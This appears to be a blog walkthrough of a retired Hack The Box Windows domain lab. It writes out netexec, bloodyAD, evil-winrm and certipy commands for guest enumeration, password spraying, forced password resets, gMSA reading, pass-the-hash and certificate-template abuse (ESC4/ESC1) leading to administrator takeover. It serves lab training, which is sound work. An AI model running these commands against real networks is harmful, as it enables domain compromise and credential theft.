Search for a command to run...
No comments yet. Be the first to comment.
In This Series I Will Provide Full Walkthrough Of Retired Machine On Hack The Box !
(Medium Linux)
So we have been told the user flag will be in C:/ directory and also gave us the target IP address
Let's start the enumeration using NMAP
Let's start with Anonymous Login with netexec using guest as the username and empty password
nxc smb 10.129.234.66 -u guest -p ''
We successfully authenticated so lets enumerate shares also
nxc smb 10.129.234.66 -u guest -p '' --shares
We got read access on two useful shares sendai and Users
Let's use smbclient to dump all the data in these shares into our local machine
smbclient -U guest%'' //10.129.234.66/Users -c 'prompt OFF;recurse ON;mget *'
smbclient -U guest%'' //10.129.234.66/sendai -c 'prompt OFF;recurse ON;mget *'
So when everything will be downloaded to your local machine you will see one file named as incident.txt
Dear valued employees,
We hope this message finds you well. We would like to inform you about an important security update regarding user account passwords. Recently, we conducted a thorough penetration test, which revealed that a significant number of user accounts have weak and insecure passwords.
To address this concern and maintain the highest level of security within our organization, the IT department has taken immediate action. All user accounts with insecure passwords have been expired as a precautionary measure. This means that affected users will be required to change their passwords upon their next login.
We kindly request all impacted users to follow the password reset process promptly to ensure the security and integrity of our systems. Please bear in mind that strong passwords play a crucial role in safeguarding sensitive information and protecting our network from potential threats.
If you need assistance or have any questions regarding the password reset procedure, please don't hesitate to reach out to the IT support team. They will be more than happy to guide you through the process and provide any necessary support.
Thank you for your cooperation and commitment to maintaining a secure environment for all of us. Your vigilance and adherence to robust security practices contribute significantly to our collective safety.
This tells us that some users maybe are on Forced Password Reset State
This is the PASSWD_NOTREQD / Password Must Change flag in Active Directory / SAM. When set, the
pwdLastSetattribute is0, meaning the account's password expired at epoch — Windows forces a reset on next login.
So if we have list of users we can check them against a service with empty password to find out the users which are at Forced Password Reset State
Since we have Null Authentication so lets do rid bruteforce using nxc
nxc smb 10.129.234.66 -u guest -p '' --rid-brute
Now copy all the user and machine accounts and make a users.txt list
Administrator
Guest
krbtgt
DC$
sqlsvc
websvc
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
Malcolm.Smith
Lisa.Williams
Ross.Sullivan
Clifford.Davey
Declan.Jenkins
Lawrence.Grant
Leslie.Johnson
Megan.Edwards
Thomas.Powell
mgtsvc$
Now lets bruteforce these usernames with empty password against SMB service to find out if any user is at Forced Password Reset State
nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success
We got two accounts that shows STATUS_PASSWORD_MUST_CHANGE so lets change Elliot.Yates password using nxc
nxc smb 10.129.234.66 -u Elliot.Yates -p '' -M change-password -o NEWPASS='Sendai2025'
Now lets get bloodhound zip file to see if Elliot.Yates have any rights on other user/groups or not
bloodhound-python -u Elliot.Yates -p Sendai2025 -d sendai.vl -ns 10.129.234.66 -c ALL --zip
Now lets open bloodhound and see the rights
We can see that Elliot is the member of Support group which has GenericAll Rights on ADMSVC group
Further this groups has ReadGMSAPassword permission on MGTSVC$@SENDAI.VL machine account
So If we add Elliot.Yates to the ADMSVC group then we can read GMSA password for MGTSVC$ account
bloodyAD -u Elliot.Yates -p Sendai2025 -d sendai.vl --host DC.sendai.vl add groupMember ADMSVC Elliot.Yates
Now lets try to read gmsa password for the MGTSVC$ account
nxc ldap 10.129.234.66 -u elliot.yates -p Sendai2025 --gmsa
And from Bloodhound we know that MGTSVC$ is a member of Remote Management Users so we can do evil-winrm into it
evil-winrm -i 10.129.234.66 -u mgtsvc$ -H <REDACTED>
Now get the user flag from the C:/ directory
As I got the user flag i searched for privesc vectors so did whoami /all and found that there is BUILTIN\Certificate Service DCOM Access group whose MGTSVC$ account is part off
So i ran certipy to find any vulnerable templates
certipy find -u 'mgtsvc$@sendai.vl' -hashes :e091550<SNIP>c6051 -dc-ip 10.129.234.66 -vulnerable -stdout
Found No templates so then ran winPEAS.exe in order to find anything for Privilege Escalation
On running winPEAS.exe i didn't found any privesc vector worth indulging into so i started looking for services in the machine
First I searched for MicrosoftEdge services
ls HKLM:\System\Currentcontrolset\services | findstr Microsoft
Didn't find anything interesting so i moved to helpdesk service next
ls HKLM:\System\Currentcontrolset\services | findstr helpdesk
Found the Clifford.Davey user credentials lets try it against smb service whether it is right or not
It worked , now let's see in bloodhound that he has some good rights or not
Clifford.Davey is the Member of CA-OPERATORS group so it might have some vulnerable template so let's check it
certipy find -u 'clifford.davey@sendai.vl' -p <READCTED> -dc-ip 10.129.234.66 -vulnerable -stdout
BINGO! we got ESC4 Vulnerability
With this access, an attacker can reconfigure the template to inject vulnerable parameters.
In this case, it involves adding the ability to manually define the
subjectAltNamefield via themspki-certificate-name-flagproperty, which is precisely one of the conditions required to execute an ESC1 attack.
certipy template -u 'clifford.davey@sendai.vl' -p <READCTED> -template SendaiComputer -write-default-configuration -dc-ip 10.129.234.66
Now we have made changes in the SendaiComputer template and now it should be vulnerable to ESC1 vulnerablity
Here it is ESC1 is now enabled now we can request certificate for impersonating administrator/domain controller
You can get administrator sid through earlier RID-Bruteforce output or through bloodhound
certipy req -u 'clifford.davey@sendai.vl' -p <REDACTED> -dc-ip 10.129.234.66 -target DC.sendai.vl -template SendaiComputer -ca sendai-DC-CA -upn 'administrator@sendai.vl' -sid S-1-5-21-3085872742-570972823-736764132-500
now lets obtain administrator NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.129.234.66
Now let's evil-winrm into it and get the root flag
For Any Query Or Problem Either Leave A Comment Or Contact At reapsec.com
THANKS FOR READING !!!